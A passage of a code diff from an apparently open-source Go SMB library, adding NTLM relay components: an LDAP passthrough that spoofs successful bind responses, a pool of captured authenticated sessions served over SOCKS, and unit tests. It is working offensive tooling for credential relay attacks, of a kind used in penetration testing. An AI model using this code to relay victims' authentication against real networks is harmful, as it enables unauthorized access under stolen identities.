if env == nil || len(env.Children) < 2 {
|
||||
return fmt.Errorf("envelope has no MessageID child")
|
||||
}
|
||||
newIDPkt := ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, newID, "MessageID")
|
||||
// Rebuild Children[0] in-place and force re-serialization of the envelope
|
||||
// by clearing its Data and re-appending all children.
|
||||
env.Children[0] = newIDPkt
|
||||
rebuildSequenceData(env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// rebuildSequenceData regenerates env.Data from env.Children so a subsequent
|
||||
// Bytes() call emits the current child set. Required after Children mutation
|
||||
// because the BER library serializes by concatenating Data + child bytes from
|
||||
// a buffer it never refreshes on its own.
|
||||
func rebuildSequenceData(env *ber.Packet) {
|
||||
env.Data.Reset()
|
||||
for _, c := range env.Children {
|
||||
env.Data.Write(c.Bytes())
|
||||
}
|
||||
}
|
||||
|
||||
// isLDAPContinuation reports whether a response with this tag is part of a
|
||||
// multi-message response stream (more responses follow for the same
|
||||
// messageID).
|
||||
func isLDAPContinuation(tag ber.Tag) bool {
|
||||
return tag == ldapAppSearchResEntry || tag == ldapAppSearchResRef || tag == ldapAppIntermediateResponse
|
||||
}
|
||||
|
||||
// isTimeout reports whether err originated from a Set*Deadline expiring.
|
||||
// net.Conn read/write errors of that origin satisfy net.Error.Timeout().
|
||||
func isTimeout(err error) bool {
|
||||
var ne net.Error
|
||||
return errors.As(err, &ne) && ne.Timeout()
|
||||
}
|
||||
|
||||
// spoofBindSuccess synthesizes and writes a BindResponse{resultCode=success}
|
||||
// to the local conn carrying the same MessageID the client used for its
|
||||
// BindRequest. The upstream socket is left untouched — it's already bound as
|
||||
// the relayed victim.
|
||||
func (p *LDAPPassthrough) spoofBindSuccess(localID int64) error {
|
||||
env := ber.Encode(ber.ClassUniversal, ber.TypeConstructed, ber.TagSequence, nil, "LDAPMessage")
|
||||
env.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, localID, "MessageID"))
|
||||
resp := ber.Encode(ber.ClassApplication, ber.TypeConstructed, ber.Tag(ldapAppBindResponse), nil, "BindResponse")
|
||||
resp.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagEnumerated, int64(ldapResultSuccess), "resultCode"))
|
||||
resp.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, "", "matchedDN"))
|
||||
resp.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, "", "diagnosticMessage"))
|
||||
env.AppendChild(resp)
|
||||
_, err := p.Local.Write(env.Bytes())
|
||||
return err
|
||||
}
|
||||
@@ -0,0 +1,256 @@
|
||||
// MIT License
|
||||
//
|
||||
// Copyright (c) 2026 Jimmy Fjällid
|
||||
|
||||
package relay
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
ber "github.com/go-asn1-ber/asn1-ber"
|
||||
)
|
||||
|
||||
// TestLDAPPassthroughSpoofsBind verifies the central feature: a BindRequest
|
||||
// from the SOCKS-side client is answered locally with a synthetic
|
||||
// BindResponse {resultCode=success}, without touching the upstream socket.
|
||||
func TestLDAPPassthroughSpoofsBind(t *testing.T) {
|
||||
localCli, localSrv := net.Pipe()
|
||||
defer localCli.Close()
|
||||
defer localSrv.Close()
|
||||
upCli, upSrv := net.Pipe()
|
||||
defer upCli.Close()
|
||||
defer upSrv.Close()
|
||||
|
||||
up := &ldapUpstream{Target: Target{Protocol: ProtoLDAP, Host: "x:389"}, conn: upCli, nextMessageID: 2}
|
||||
ps := &pooledSession{Target: "x:389", LDAP: up}
|
||||
|
||||
p := &LDAPPassthrough{Local: localSrv, Target: "x:389", Upstream: ps}
|
||||
doneCh := make(chan error, 1)
|
||||
go func() { doneCh <- p.Run(context.Background()) }()
|
||||
|
||||
// Client sends BindRequest (simple bind, empty creds — content is
|
||||
// irrelevant since the passthrough spoofs the response without looking).
|
||||
bindReq := buildBindRequestEnvelope(1, "")
|
||||
if _, err := localCli.Write(bindReq); err != nil {
|
||||
t.Fatalf("write bind: %v", err)
|
||||
}
|
||||
|
||||
// Read the response back. Expect BindResponse(success) with the same
|
||||
// messageID.
|
||||
_ = localCli.SetReadDeadline(time.Now().Add(500 * time.Millisecond))
|
||||
resp, err := ber.ReadPacket(localCli)
|
||||
if err != nil {
|
||||
t.Fatalf("read bind response: %v", err)
|
||||
}
|
||||
id, opTag, err := parseLDAPMessage(resp)
|
||||
if err != nil {
|
||||
t.Fatalf("parse response: %v", err)
|
||||
}
|
||||
if id != 1 {
|
||||
t.Errorf("response messageID = %d, want 1", id)
|
||||
}
|
||||
if opTag != ber.Tag(ldapAppBindResponse) {
|
||||
t.Errorf("response op tag = %d, want %d", opTag, ldapAppBindResponse)
|
||||
}
|
||||
code, _, _, err := parseBindResultCode(resp)
|
||||
if err != nil {
|
||||
t.Fatalf("parseBindResultCode: %v", err)
|
||||
}
|
||||
if code != ldapResultSuccess {
|
||||
t.Errorf("resultCode = %d, want 0", code)
|
||||
}
|
||||
|
||||
// Sanity: nothing should have been written to the upstream socket.
|
||||
_ = upSrv.SetReadDeadline(time.Now().Add(50 * time.Millisecond))
|
||||
buf := make([]byte, 1)
|
||||
n, _ := upSrv.Read(buf)
|
||||
if n > 0 {
|
||||
t.Errorf("upstream socket saw %d bytes during bind spoof", n)
|
||||
}
|
||||
|
||||
// Closing the local side terminates the loop cleanly.
|
||||
localCli.Close()
|
||||
select {
|
||||
case <-doneCh:
|
||||
case <-time.After(500 * time.Millisecond):
|
||||
t.Fatal("Run did not exit after local close")
|
||||
}
|
||||
}
|
||||
|
||||
// TestLDAPPassthroughForwardsSearchWithIDRewrite verifies the forwarding path:
|
||||
// a non-bind operation (Search) is forwarded to the upstream with a rewritten
|
||||
// MessageID, and the upstream's response is forwarded back with the original
|
||||
// local MessageID. The continuation-tag handling is exercised by a single
|
||||
// SearchResultDone (no SearchResultEntry needed for this test).
|
||||
func TestLDAPPassthroughForwardsSearchWithIDRewrite(t *testing.T) {
|
||||
localCli, localSrv := net.Pipe()
|
||||
defer localCli.Close()
|
||||
defer localSrv.Close()
|
||||
upCli, upSrv := net.Pipe()
|
||||
defer upCli.Close()
|
||||
defer upSrv.Close()
|
||||
|
||||
up := &ldapUpstream{Target: Target{Protocol: ProtoLDAP, Host: "x:389"}, conn: upCli, nextMessageID: 2}
|
||||
ps := &pooledSession{Target: "x:389", LDAP: up}
|
||||
p := &LDAPPassthrough{Local: localSrv, Target: "x:389", Upstream: ps}
|
||||
|
||||
go p.Run(context.Background())
|
||||
|
||||
// Mock upstream: read one request, answer with SearchResultDone.
|
||||
upDone := make(chan struct{})
|
||||
var upReqID int64
|
||||
go func() {
|
||||
defer close(upDone)
|
||||
req, err := ber.ReadPacket(upSrv)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
id, _, err := parseLDAPMessage(req)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
upReqID = id
|
||||
// Write SearchResultDone with the matching upstream id.
|
||||
resp := buildSearchResultDoneEnvelope(id)
|
||||
_, _ = upSrv.Write(resp)
|
||||
}()
|
||||
|
||||
// Client sends SearchRequest with localID = 1.
|
||||
searchReq := buildSearchRequestEnvelope(1)
|
||||
if _, err := localCli.Write(searchReq); err != nil {
|
||||
t.Fatalf("write search: %v", err)
|
||||
}
|
||||
|
||||
// Read the response on the local socket.
|
||||
_ = localCli.SetReadDeadline(time.Now().Add(2 * time.Second))
|
||||
resp, err := ber.ReadPacket(localCli)
|
||||
if err != nil {
|
||||
t.Fatalf("read search response: %v", err)
|
||||
}
|
||||
id, opTag, err := parseLDAPMessage(resp)
|
||||
if err != nil {
|
||||
t.Fatalf("parse response: %v", err)
|
||||
}
|
||||
if id != 1 {
|
||||
t.Errorf("local-side response messageID = %d, want 1 (original)", id)
|
||||
}
|
||||
if opTag != 5 { // SearchResultDone
|
||||
t.Errorf("response op tag = %d, want 5", opTag)
|
||||
}
|
||||
|
||||
<-upDone
|
||||
// The forwarded request must have had a rewritten messageID — upstream's
|
||||
// nextMessageID starts at 2 (bind used 1, 2), so the rewrite assigns 3.
|
||||
if upReqID != 3 {
|
||||
t.Errorf("upstream observed messageID = %d, want 3 (after rewrite)", upReqID)
|
||||
}
|
||||
localCli.Close()
|
||||
}
|
||||
|
||||
// TestLDAPPassthroughDropsUnbindWithoutTouchingUpstream verifies that an
|
||||
// UnbindRequest from the SOCKS-side closes the local conn but leaves the
|
||||
// upstream alive — the pinned upstream is shared across SOCKS connections so
|
||||
// we must never forward Unbind.
|
||||
func TestLDAPPassthroughDropsUnbindWithoutTouchingUpstream(t *testing.T) {
|
||||
localCli, localSrv := net.Pipe()
|
||||
defer localCli.Close()
|
||||
defer localSrv.Close()
|
||||
upCli, upSrv := net.Pipe()
|
||||
defer upCli.Close()
|
||||
defer upSrv.Close()
|
||||
|
||||
up := &ldapUpstream{Target: Target{Protocol: ProtoLDAP, Host: "x:389"}, conn: upCli, nextMessageID: 2}
|
||||
ps := &pooledSession{Target: "x:389", LDAP: up}
|
||||
p := &LDAPPassthrough{Local: localSrv, Target: "x:389", Upstream: ps}
|
||||
doneCh := make(chan error, 1)
|
||||
go func() { doneCh <- p.Run(context.Background()) }()
|
||||
|
||||
// Send Unbind.
|
||||
unbind := buildUnbindRequestEnvelope(1)
|
||||
if _, err := localCli.Write(unbind); err != nil {
|
||||
t.Fatalf("write unbind: %v", err)
|
||||
}
|
||||
|
||||
// Run should exit cleanly.
|
||||
select {
|
||||
case err := <-doneCh:
|
||||
if err != nil {
|
||||
t.Fatalf("Run returned error after Unbind: %v", err)
|
||||
}
|
||||
case <-time.After(500 * time.Millisecond):
|
||||
t.Fatal("Run did not exit after Unbind")
|
||||
}
|
||||
|
||||
// Upstream socket must not have been written to.
|
||||
_ = upSrv.SetReadDeadline(time.Now().Add(50 * time.Millisecond))
|
||||
buf := make([]byte, 1)
|
||||
n, err := upSrv.Read(buf)
|
||||
if n > 0 {
|
||||
t.Errorf("upstream saw %d bytes after Unbind; got=%x err=%v", n, buf[:n], err)
|
||||
}
|
||||
if up.IsClosed() {
|
||||
t.Errorf("Unbind from SOCKS client closed pinned upstream — must be left alive")
|
||||
}
|
||||
}
|
||||
|
||||
// --- helpers ---
|
||||
|
||||
func buildBindRequestEnvelope(messageID int64, dn string) []byte {
|
||||
env := ber.Encode(ber.ClassUniversal, ber.TypeConstructed, ber.TagSequence, nil, "LDAPMessage")
|
||||
env.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, messageID, "MessageID"))
|
||||
req := ber.Encode(ber.ClassApplication, ber.TypeConstructed, ber.Tag(ldapAppBindRequest), nil, "BindRequest")
|
||||
req.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, int64(3), "Version"))
|
||||
req.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, dn, "Name"))
|
||||
// Simple auth (context primitive tag 0) — empty password.
|
||||
auth := ber.Encode(ber.ClassContext, ber.TypePrimitive, 0, nil, "simple")
|
||||
req.AppendChild(auth)
|
||||
env.AppendChild(req)
|
||||
return env.Bytes()
|
||||
}
|
||||
|
||||
func buildSearchRequestEnvelope(messageID int64) []byte {
|
||||
env := ber.Encode(ber.ClassUniversal, ber.TypeConstructed, ber.TagSequence, nil, "LDAPMessage")
|
||||
env.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, messageID, "MessageID"))
|
||||
// SearchRequest = [APPLICATION 3]
|
||||
req := ber.Encode(ber.ClassApplication, ber.TypeConstructed, 3, nil, "SearchRequest")
|
||||
// baseObject, scope=0, derefAliases=0, sizeLimit=0, timeLimit=0,
|
||||
// typesOnly=false, filter=(objectClass=*), attributes={}
|
||||
req.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, "", "baseObject"))
|
||||
req.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagEnumerated, int64(0), "scope"))
|
||||
req.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagEnumerated, int64(0), "derefAliases"))
|
||||
req.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, int64(0), "sizeLimit"))
|
||||
req.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, int64(0), "timeLimit"))
|
||||
req.AppendChild(ber.NewLDAPBoolean(ber.ClassUniversal, ber.TypePrimitive, ber.TagBoolean, false, "typesOnly"))
|
||||
// filter = present "objectClass" ([CONTEXT 7] primitive octet string)
|
||||
filter := ber.Encode(ber.ClassContext, ber.TypePrimitive, 7, nil, "filter:present")
|
||||
filter.Data.Write([]byte("objectClass"))
|
||||
req.AppendChild(filter)
|
||||
req.AppendChild(ber.Encode(ber.ClassUniversal, ber.TypeConstructed, ber.TagSequence, nil, "attributes"))
|
||||
env.AppendChild(req)
|
||||
return env.Bytes()
|
||||
}
|
||||
|
||||
func buildSearchResultDoneEnvelope(messageID int64) []byte {
|
||||
env := ber.Encode(ber.ClassUniversal, ber.TypeConstructed, ber.TagSequence, nil, "LDAPMessage")
|
||||
env.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, messageID, "MessageID"))
|
||||
// SearchResultDone = [APPLICATION 5]
|
||||
resp := ber.Encode(ber.ClassApplication, ber.TypeConstructed, 5, nil, "SearchResultDone")
|
||||
resp.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagEnumerated, int64(0), "resultCode"))
|
||||
resp.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, "", "matchedDN"))
|
||||
resp.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, "", "diagnosticMessage"))
|
||||
env.AppendChild(resp)
|
||||
return env.Bytes()
|
||||
}
|
||||
|
||||
func buildUnbindRequestEnvelope(messageID int64) []byte {
|
||||
env := ber.Encode(ber.ClassUniversal, ber.TypeConstructed, ber.TagSequence, nil, "LDAPMessage")
|
||||
env.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, messageID, "MessageID"))
|
||||
// UnbindRequest = [APPLICATION 2], NULL value (no content).
|
||||
req := ber.Encode(ber.ClassApplication, ber.TypePrimitive, ber.Tag(ldapAppUnbindRequest), nil, "UnbindRequest")
|
||||
env.AppendChild(req)
|
||||
return env.Bytes()
|
||||
}
|
||||
|
||||
+390
@@ -0,0 +1,390 @@
|
||||
// MIT License
|
||||
//
|
||||
// Copyright (c) 2026 Jimmy Fjällid
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to deal
|
||||
// in the Software without restriction, including without limitation the rights
|
||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
// copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in all
|
||||
// copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
// SOFTWARE.
|
||||
|
||||
package relay
|
||||
|
||||
import (
|
||||
"net"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"github.com/jfjallid/go-smb/smb"
|
||||
)
|
||||
|
||||
// pooledSession holds a single live, authenticated upstream connection
|
||||
// captured by RelayServer. Exactly one of Conn (SMB), HTTP, or LDAP is
|
||||
// non-nil. The mutex is held by SOCKS-side passthrough while a request /
|
||||
// response is in flight on the upstream so multiple concurrent SOCKS clients
|
||||
// don't interleave traffic on the same upstream socket.
|
||||
type pooledSession struct {
|
||||
Target string
|
||||
Conn *smb.Connection // SMB upstream; nil otherwise
|
||||
HTTP *httpUpstream // HTTP upstream; nil otherwise
|
||||
LDAP *ldapUpstream // LDAP upstream; nil otherwise
|
||||
Cred *Credential
|
||||
Established time.Time
|
||||
lastUsed atomic.Int64 // unix nano
|
||||
dead atomic.Bool
|
||||
|
||||
mu sync.Mutex // serializes outbound requests on the upstream
|
||||
}
|
||||
|
||||
// IsHTTP reports whether this pooled session is an HTTP upstream.
|
||||
func (p *pooledSession) IsHTTP() bool { return p.HTTP != nil }
|
||||
|
||||
// IsLDAP reports whether this pooled session is an LDAP upstream.
|
||||
func (p *pooledSession) IsLDAP() bool { return p.LDAP != nil }
|
||||
|
||||
// MarkDead flags ps as unusable. Subsequent FindMatches calls and selector
|
||||
// invocations skip it; the next pruneExpired sweep evicts it.
|
||||
func (p *pooledSession) MarkDead() { p.dead.Store(true) }
|
||||
|
||||
// IsDead reports whether ps has been flagged dead.
|
||||
func (p *pooledSession) IsDead() bool { return p.dead.Load() }
|
||||
|
||||
// SessionInfo is a snapshot of a pooled session — exposed for telemetry /
|
||||
// tests, decoupled from the live mutex-guarded state.
|
||||
type SessionInfo struct {
|
||||
Target string
|
||||
Username string
|
||||
Domain string
|
||||
RemoteAddr net.Addr
|
||||
Established time.Time
|
||||
LastUsed time.Time
|
||||
}
|
||||
|
||||
func (p *pooledSession) snapshot() SessionInfo {
|
||||
si := SessionInfo{
|
||||
Target: p.Target,
|
||||
Established: p.Established,
|
||||
LastUsed: time.Unix(0, p.lastUsed.Load()),
|
||||
}
|
||||
if p.Cred != nil {
|
||||
si.Username = p.Cred.Username
|
||||
si.Domain = p.Cred.Domain
|
||||
si.RemoteAddr = p.Cred.RemoteAddr
|
||||
}
|
||||
return si
|
||||
}
|
||||
|
||||
// Touch updates the last-used timestamp. Called by SOCKS passthrough each
|
||||
// time a request is forwarded so the TTL ticker can age out idle sessions.
|
||||
func (p *pooledSession) Touch() {
|
||||
p.lastUsed.Store(time.Now().UnixNano())
|
||||
}
|
||||
|
||||
// sessionPool is a FIFO-evicting collection of pooledSessions keyed by
|
||||
// insertion order. Lookups by target return any matching live session;
|
||||
// concurrent SOCKS clients can pin different targets simultaneously.
|
||||
type sessionPool struct {
|
||||
mu sync.Mutex
|
||||
max int
|
||||
ttl time.Duration
|
||||
sessions []*pooledSession
|
||||
}
|
||||
|
||||
// newSessionPool returns an empty pool. max <= 0 disables the cap. ttl <= 0
|
||||
// disables age-based eviction.
|
||||
func newSessionPool(max int, ttl time.Duration) *sessionPool {
|
||||
return &sessionPool{max: max, ttl: ttl}
|
||||
}
|
||||
|
||||
// Add inserts ps into the pool. If MaxPoolSize is reached, the oldest entry
|
||||
// is evicted (its connection closed). Evictions are collected under the lock
|
||||
// and closed synchronously after — close-time is dominated by a few socket
|
||||
// shutdowns, well below the cost of pinning the pool mu, and an in-flight
|
||||
// background goroutine would otherwise outlive Shutdown.
|
||||
func (sp *sessionPool) Add(ps *pooledSession) {
|
||||
ps.lastUsed.Store(ps.Established.UnixNano())
|
||||
sp.mu.Lock()
|
||||
sp.sessions = append(sp.sessions, ps)
|
||||
var evicted []*pooledSession
|
||||
for sp.max > 0 && len(sp.sessions) > sp.max {
|
||||
evicted = append(evicted, sp.sessions[0])
|
||||
sp.sessions = sp.sessions[1:]
|
||||
}
|
||||
sp.mu.Unlock()
|
||||
for _, p := range evicted {
|
||||
closePooled(p)
|
||||
}
|
||||
}
|
||||
|
||||
// Remove drops a specific entry (used when a SOCKS dispatcher detects that
|
||||
// the upstream conn is dead). Closes the *smb.Connection.
|
||||
func (sp *sessionPool) Remove(target *pooledSession) {
|
||||
sp.mu.Lock()
|
||||
for i, p := range sp.sessions {
|
||||
if p == target {
|
||||
sp.sessions = append(sp.sessions[:i], sp.sessions[i+1:]...)
|
||||
break
|
||||
}
|
||||
}
|
||||
sp.mu.Unlock()
|
||||
closePooled(target)
|
||||
}
|
||||
|
||||
// FindByTarget returns the first live pooled session matching the supplied
|
||||
// "host:port" target string, or nil. Dead entries are skipped. Retained for
|
||||
// callers that don't care about user-based filtering; new code should prefer
|
||||
// FindMatches.
|
||||
func (sp *sessionPool) FindByTarget(target string) *pooledSession {
|
||||
sp.mu.Lock()
|
||||
defer sp.mu.Unlock()
|
||||
for _, p := range sp.sessions {
|
||||
if p.Target == target && !p.IsDead() {
|
||||
return p
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// FindMatches returns every live pooled session whose Target equals target
|
||||
// and whose captured Credential matches user (case-insensitive). The user
|
||||
// argument accepts:
|
||||
// - "" — no user filter, target match only
|
||||
// - "name" — Credential.Username == name
|
||||
// - "domain\\name", "domain/name" — both domain and name must match
|
||||
// - "name@domain" — same as above (UPN form)
|
||||
//
|
||||
// Dead entries are excluded.
|
||||
func (sp *sessionPool) FindMatches(target, user string) []*pooledSession {
|
||||
wantDomain, wantName := parseAuthUser(user)
|
||||
sp.mu.Lock()
|
||||
defer sp.mu.Unlock()
|
||||
var out []*pooledSession
|
||||
for _, p := range sp.sessions {
|
||||
if p.Target != target || p.IsDead() {
|
||||
continue
|
||||
}
|
||||
if user != "" && !credMatches(p.Cred, wantDomain, wantName) {
|
||||
continue
|
||||
}
|
||||
out = append(out, p)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// parseAuthUser splits a user spec into (domain, name). See FindMatches.
|
||||
func parseAuthUser(s string) (domain, name string) {
|
||||
if s == "" {
|
||||
return "", ""
|
||||
}
|
||||
if i := strings.IndexAny(s, "\\/"); i >= 0 {
|
||||
return s[:i], s[i+1:]
|
||||
}
|
||||
if i := strings.LastIndex(s, "@"); i >= 0 {
|
||||
return s[i+1:], s[:i]
|
||||
}
|
||||
return "", s
|
||||
}
|
||||
|
||||
// credMatches compares a captured credential against a parsed (domain, name)
|
||||
// filter. domain is optional; empty domain matches any Credential.Domain.
|
||||
func credMatches(cred *Credential, domain, name string) bool {
|
||||
if cred == nil {
|
||||
return false
|
||||
}
|
||||
if !strings.EqualFold(cred.Username, name) {
|
||||
return false
|
||||
}
|
||||
if domain != "" && !strings.EqualFold(cred.Domain, domain) {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// Snapshot returns a stable copy of every live entry's metadata.
|
||||
func (sp *sessionPool) Snapshot() []SessionInfo {
|
||||
sp.mu.Lock()
|
||||
defer sp.mu.Unlock()
|
||||
out := make([]SessionInfo, 0, len(sp.sessions))
|
||||
for _, p := range sp.sessions {
|
||||
out = append(out, p.snapshot())
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Len reports the number of live entries.
|
||||
func (sp *sessionPool) Len() int {
|
||||
sp.mu.Lock()
|
||||
defer sp.mu.Unlock()
|
||||
return len(sp.sessions)
|
||||
}
|
||||
|
||||
// CloseAll tears down every pooled connection and empties the pool.
|
||||
func (sp *sessionPool) CloseAll() {
|
||||
sp.mu.Lock()
|
||||
old := sp.sessions
|
||||
sp.sessions = nil
|
||||
sp.mu.Unlock()
|
||||
for _, p := range old {
|
||||
closePooled(p)
|
||||
}
|
||||
}
|
||||
|
||||
// pruneExpired evicts entries whose lastUsed is older than ttl, plus any
|
||||
// entry flagged dead. Called by the background ticker.
|
||||
func (sp *sessionPool) pruneExpired(now time.Time) []*pooledSession {
|
||||
checkTTL := sp.ttl > 0
|
||||
cutoff := int64(0)
|
||||
if checkTTL {
|
||||
cutoff = now.Add(-sp.ttl).UnixNano()
|
||||
}
|
||||
sp.mu.Lock()
|
||||
keep := sp.sessions[:0]
|
||||
var evicted []*pooledSession
|
||||
for _, p := range sp.sessions {
|
||||
if p.IsDead() || (checkTTL && p.lastUsed.Load() < cutoff) {
|
||||
evicted = append(evicted, p)
|
||||
continue
|
||||
}
|
||||
keep = append(keep, p)
|
||||
}
|
||||
sp.sessions = keep
|
||||
sp.mu.Unlock()
|
||||
for _, p := range evicted {
|
||||
closePooled(p)
|
||||
}
|
||||
if n := len(evicted); n > 0 {
|
||||
log.Debugf("pool: pruned %d expired session(s)", n)
|
||||
}
|
||||
return evicted
|
||||
}
|
||||
|
||||
func closePooled(p *pooledSession) {
|
||||
if p == nil {
|
||||
return
|
||||
}
|
||||
if p.Conn != nil {
|
||||
p.Conn.Close()
|
||||
}
|
||||
if p.HTTP != nil {
|
||||
_ = p.HTTP.Close()
|
||||
}
|
||||
if p.LDAP != nil {
|
||||
_ = p.LDAP.Close()
|
||||
}
|
||||
}
|
||||
|
||||
// SelectTargetFunc is the strategy signature used by RelayServer to decide
|
||||
// which target to relay an inbound auth toward. lastUsed maps Target.Host ->
|
||||
// timestamp of the most recent successful relay onto it (updated by the
|
||||
// caller). The function must be safe for concurrent calls. Returning the
|
||||
// zero Target signals "no candidate".
|
||||
type SelectTargetFunc func(targets []Target, remote net.Addr, lastUsed map[string]time.Time) Target
|
||||
|
||||
// RoundRobin returns a target-selector that cycles through the configured
|
||||
// targets in order. Safe for concurrent use.
|
||||
func RoundRobin() SelectTargetFunc {
|
||||
var i atomic.Uint64
|
||||
return func(targets []Target, _ net.Addr, _ map[string]time.Time) Target {
|
||||
if len(targets) == 0 {
|
||||
return Target{}
|
||||
}
|
||||
idx := i.Add(1) - 1
|
||||
return targets[int(idx%uint64(len(targets)))]
|
||||
}
|
||||
}
|
||||
|
||||
// StickyByRemote returns a target-selector that hashes the relayed client's
|
||||
// remote address (host:port stripped to host) onto the target list. Two
|
||||
// auths from the same client always land on the same upstream — useful for
|
||||
// post-auth actions that depend on per-client state.
|
||||
func StickyByRemote() SelectTargetFunc {
|
||||
return func(targets []Target, remote net.Addr, _ map[string]time.Time) Target {
|
||||
if len(targets) == 0 {
|
||||
return Target{}
|
||||
}
|
||||
host := ""
|
||||
if remote != nil {
|
||||
host = remote.String()
|
||||
if h, _, err := net.SplitHostPort(host); err == nil {
|
||||
host = h
|
||||
}
|
||||
}
|
||||
var h uint64 = 1469598103934665603 // FNV-1a 64
|
||||
for i := 0; i < len(host); i++ {
|
||||
h ^= uint64(host[i])
|
||||
h *= 1099511628211
|
||||
}
|
||||
return targets[int(h%uint64(len(targets)))]
|
||||
}
|
||||
}
|
||||
|
||||
// SessionMatcher picks one pooled session from candidates already filtered by
|
||||
// target and user. remote is the SOCKS client's address. Return nil if no
|
||||
// candidate is usable. Implementations MUST skip dead candidates.
|
||||
type SessionMatcher func(candidates []*pooledSession, remote net.Addr) *pooledSession
|
||||
|
||||
// PoolFirstAvailable returns a matcher that picks the first live candidate.
|
||||
// Combined with [pooledSession.MarkDead] this gives the "first with fallback
|
||||
// to next" behavior: a dead pick is skipped on the next SOCKS connection.
|
||||
func PoolFirstAvailable() SessionMatcher {
|
||||
return func(candidates []*pooledSession, _ net.Addr) *pooledSession {
|
||||
for _, p := range candidates {
|
||||
if !p.IsDead() {
|
||||
return p
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// PoolRoundRobin returns a matcher that cycles through candidates via an
|
||||
// atomic counter shared across the matcher's lifetime. Dead candidates are
|
||||
// skipped (the counter still advances so subsequent picks rotate).
|
||||
func PoolRoundRobin() SessionMatcher {
|
||||
var i atomic.Uint64
|
||||
return func(candidates []*pooledSession, _ net.Addr) *pooledSession {
|
||||
n := len(candidates)
|
||||
if n == 0 {
|
||||
return nil
|
||||
}
|
||||
for tries := 0; tries < n; tries++ {
|
||||
idx := i.Add(1) - 1
|
||||
p := candidates[int(idx%uint64(n))]
|
||||
if !p.IsDead() {
|
||||
return p
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// PoolMostRecent returns a matcher that picks the live candidate with the
|
||||
// highest Established timestamp.
|
||||
func PoolMostRecent() SessionMatcher {
|
||||
return func(candidates []*pooledSession, _ net.Addr) *pooledSession {
|
||||
var best *pooledSession
|
||||
for _, p := range candidates {
|
||||
if p.IsDead() {
|
||||
continue
|
||||
}
|
||||
if best == nil || p.Established.After(best.Established) {
|
||||
best = p
|
||||
}
|
||||
}
|
||||
return best
|
||||
}
|
||||
}
|
||||
+1085
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,686 @@
|
||||
// MIT License
|
||||
//
|
||||
// Copyright (c) 2026 Jimmy Fjällid
|
||||
|
||||
package relay_test
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/jfjallid/go-smb/ntlmssp"
|
||||
"github.com/jfjallid/go-smb/relay"
|
||||
"github.com/jfjallid/go-smb/smb"
|
||||
"github.com/jfjallid/go-smb/smb/server"
|
||||
"github.com/jfjallid/go-smb/smb/server/memvfs"
|
||||
"github.com/jfjallid/go-smb/spnego"
|
||||
)
|
||||
|
||||
// TestRelayServerEndToEnd boots two upstream SMB servers, starts a
|
||||
// RelayServer with both as targets and a SOCKS5 listener, drives two inbound
|
||||
// auth attempts through the SMB listener, and verifies that:
|
||||
// - both upstream sessions get pooled (round-robin spreads them across the
|
||||
// two targets);
|
||||
